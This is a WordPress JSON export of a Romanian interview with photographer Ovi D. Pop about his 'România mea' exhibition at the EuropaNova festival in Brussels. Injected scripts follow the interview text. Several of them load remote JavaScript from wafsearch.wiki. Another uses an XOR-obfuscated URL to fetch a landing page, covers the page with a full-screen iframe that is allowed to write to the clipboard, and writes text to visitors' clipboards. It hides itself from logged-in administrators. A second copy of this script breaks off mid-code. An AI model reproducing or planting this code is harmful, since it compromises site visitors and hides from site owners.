{"id":6597,"date":"2023-09-01T09:29:24","date_gmt":"2023-09-01T08:29:24","guid":{"rendered":"https:\/\/www.europanova.be\/?p=6597"},"modified":"2026-05-22T22:02:56","modified_gmt":"2026-05-22T21:02:56","slug":"romania-lui-ovi-d-pop","status":"publish","type":"post","link":"https:\/\/www.europanova.be\/?p=6597","title":{"rendered":"Rom\u00e2nia lui Ovi D. Pop"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>22-26 septembrie \u2013 FotoDigiExpo: <em>Rom\u00e2nia mea<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">EuropaNova, Clos du Parnasse 11E, Bruxelles<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: Invita\u021bia \u00een China a venit mai devreme\u2026 Pentru mine Festivalul EuropaNova a fost o ramp\u0103 de lansare, prima expozi\u021bie in Bruxelles, dup\u0103 care au mai urmat dou\u0103, din care una chiar \u00een Parpamentul European. \u00cen China (7-25 septembrie) voi participa la Festivitatea de premiere \u015fi work-shopuri dedicate Golden HUABIAO Photography Award din Guiyang,&nbsp; unde anul trecut am c\u00e2\u015ftigat premiul Golden Peacock Folk Photography Achievement Award, iar anul acesta am fost jurat. A doua parte a voiajului meu din China va fi la Pingyao International Photography Festival, cel mai mare festival de fotografie din China, unde voi expune 30 de fotografii \u015fi voi avea o prezentare...<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Zi-ne povestea colec\u021biei \u201cRom\u00e2nia mea\u201d. Ce, unde, c\u00e2nd, de ce.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: Am editat p\u00e2n\u0103 acum trei edi\u0163ii ale albumului \u201cOradea mea\u201d, 7 cu \u201cBihorul\u201d\u2026 era timpul s\u0103 lucrez \u015fi la proiectul \u201cRom\u00e2nia mea\u201d.&nbsp; Prima expozi\u0163ie notabil\u0103 a proiectului a fost \u00een Senatul Rom\u00e2niei cu ocazie Zilei Na\u0163ionale a Rom\u00e2niei anul trecut, apoi a urmat Oradea, Uzhorod (Ucraina) \u015fi Singapore\u2026. Urmeaz\u0103 la EuropaNova acum \u015fi de Ziua Na\u0163ional\u0103 a Rom\u00e2niei la Chi\u015fin\u0103u!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles10-1-scaled.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles10-1-1024x683.jpg\" alt=\"\" class=\"wp-image-6622\" srcset=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles10-1-980x653.jpg 980w, https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles10-1-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Premii peste premii \u00een ultimii zece ani. B\u0103nuiesc c\u0103 le-ai pierdut num\u0103rul!<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: \u00cen cei 10 ani de activitate artistic\u0103 am adunat 2.200 de premii \u00een 89 de \u0163\u0103ri, din care 610 medalii de aur. Cea mai important\u0103 o consider locul 1 la primul Campionat Mondial al fotografiilor din dron\u0103, Siena 2018, Golden Pangea. Datorit\u0103 reu\u015fitelor mele din anul 2019 am ajuns locul IX \u00een lume la categoriile Pictorial Color \u015fi Monocrom \u00een singurul clasament interna\u0163ional al arti\u015ftilor fotografi \u00eentocmit de Photographic Society of America, fondat \u00een anul 1934.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Ai ajuns \u0219i \u00een manuale\u2026<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: M\u0103 m\u00e2ndresc c\u0103 unele fotografii ale mele au ajuns s\u0103 fie date ca exemple \u00een diverse materiale educa\u0163ionale precum Travel Photography Guide al Photographic Society of America, unde mi-a ap\u0103rut o fotografie realizat\u0103 la Zidul Chinezesc, publicat\u0103 de altfel \u015fi \u00een National Geographic, iar anul acesta fotografia mea mult premiat\u0103 (locul III la Portrait of the Year 2022) cu Tanti Iulica din R\u0103stoci, care a murit anul trecut la 97 de ani, \u00een manualul de art\u0103 al Facult\u0103\u0163ii de Art\u0103 din Astana, Azerbaijan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Cum a fost cu rechinii?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: A fost cel mei primejdos shooting al meu, unde am pornit 20 \u015fi am r\u0103mas doar 9, dup\u0103 ce am v\u0103zut c\u00e2te unu-doi rechini la scufundarea premerg\u0103toare \u00eent\u00e2lnirii cu rechinii.&nbsp; Peste&nbsp; 30 de rechini de recif ne-au \u00eencojurat, acestea erau ademeni\u0163i la pe\u015fti de doi scufund\u0103tori locali. Ei nu consider\u0103 omul ca \u015fi adversar, dar ni s-a atras aren\u0163ia s\u0103 nu facem mi\u015fc\u0103ri bru\u015fte \u015fi s\u0103 nu plec\u0103m din forma\u0163ie. De\u015fi a fost cel mai primejdios shooting \u015fi pu\u0163ini fotografi cunosc care s-ar \u00eencumeta la a\u015fa o experien\u0163\u0103, am primit doar men\u0163iuni la fortografiile realizate, mul\u0163i g\u00e2ndesc c\u0103 sunt f\u0103cute \u00eentr-un acvariu gen celui de la Singapore\u2026. Dar a fost o reclam\u0103 bun\u0103, trei televiziuni din Rom\u00e2nia mi-au cerut interviu \u015fi material de la scufundarea respective.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Admiram fotografiile tale aeriene. Tare-ai vrea s\u0103 ai o via\u021b\u0103 paralel\u0103, \u00een care s\u0103 fii pas\u0103re!<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: Una din melodiile mele preferate ale trupei Pink Floyd este Learning to Fly, care spune multe\u2026 Icarus\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Ai mai \u00eendr\u0103zni s\u0103 faci fotografii cu o Smena?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: Nu \u00eendr\u0103zneala, ci timpul\u2026 Nu a\u015f mai conduce Olcitul cu care umblam \u00een studen\u0163ime\u2026 Tehnologia evolueaz\u0103 \u015fi noi r\u0103m\u00e2nem \u00een top dac\u0103 \u0163inem pasul cu noile trenduri nu s\u0103 revenim la cele vechi, cum mai nou a ap\u0103rut un curent nostalgic. Una e s\u0103 plimbi cu un Mustang din 56, c\u0103 este wow \u015fi una este s\u0103 te mai chinui cu film, developare\u2026<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles7-scaled.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles7-1024x683.jpg\" alt=\"\" class=\"wp-image-6627\" srcset=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles7-980x653.jpg 980w, https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/foto-expo-Bruxelles7-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><em>EUROPANOVA: Scenariu sau spontaneitate?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OVI D. POP: Ambele au frumuse\u0163ea lor. Spontaneitatea o iau din trecutul meu de fotojurnalist, s\u0103 surpind momentul care dispare. Fotografia de strad\u0103 sau cea sportiv\u0103 creaz\u0103 cadre uimitoare, spontane\u2026 Scenariile sunt ca la film, le regizez, creez lumea mea, viziunea mea \u015fi tare m\u0103 bucur\u0103 c\u00e2nd place \u015fi altora ceea ce mi-ai imaginat.&nbsp;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">Acest proiect este realizat cu sprijinul Departamentului pentru Rom\u00e2nii de Pretutindeni, al Institutului Cultural Rom\u00e2n \u2013 Bruxelles, al Ambasadei Rom\u00e2niei \u00een Regatul Belgiei \u0219i al Ambasadei Moldovei \u00een Regatul Belgiei \u0219i Luxemburg.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" && text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" && text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard && navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event && event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" && typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe && iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" && text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" && text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() 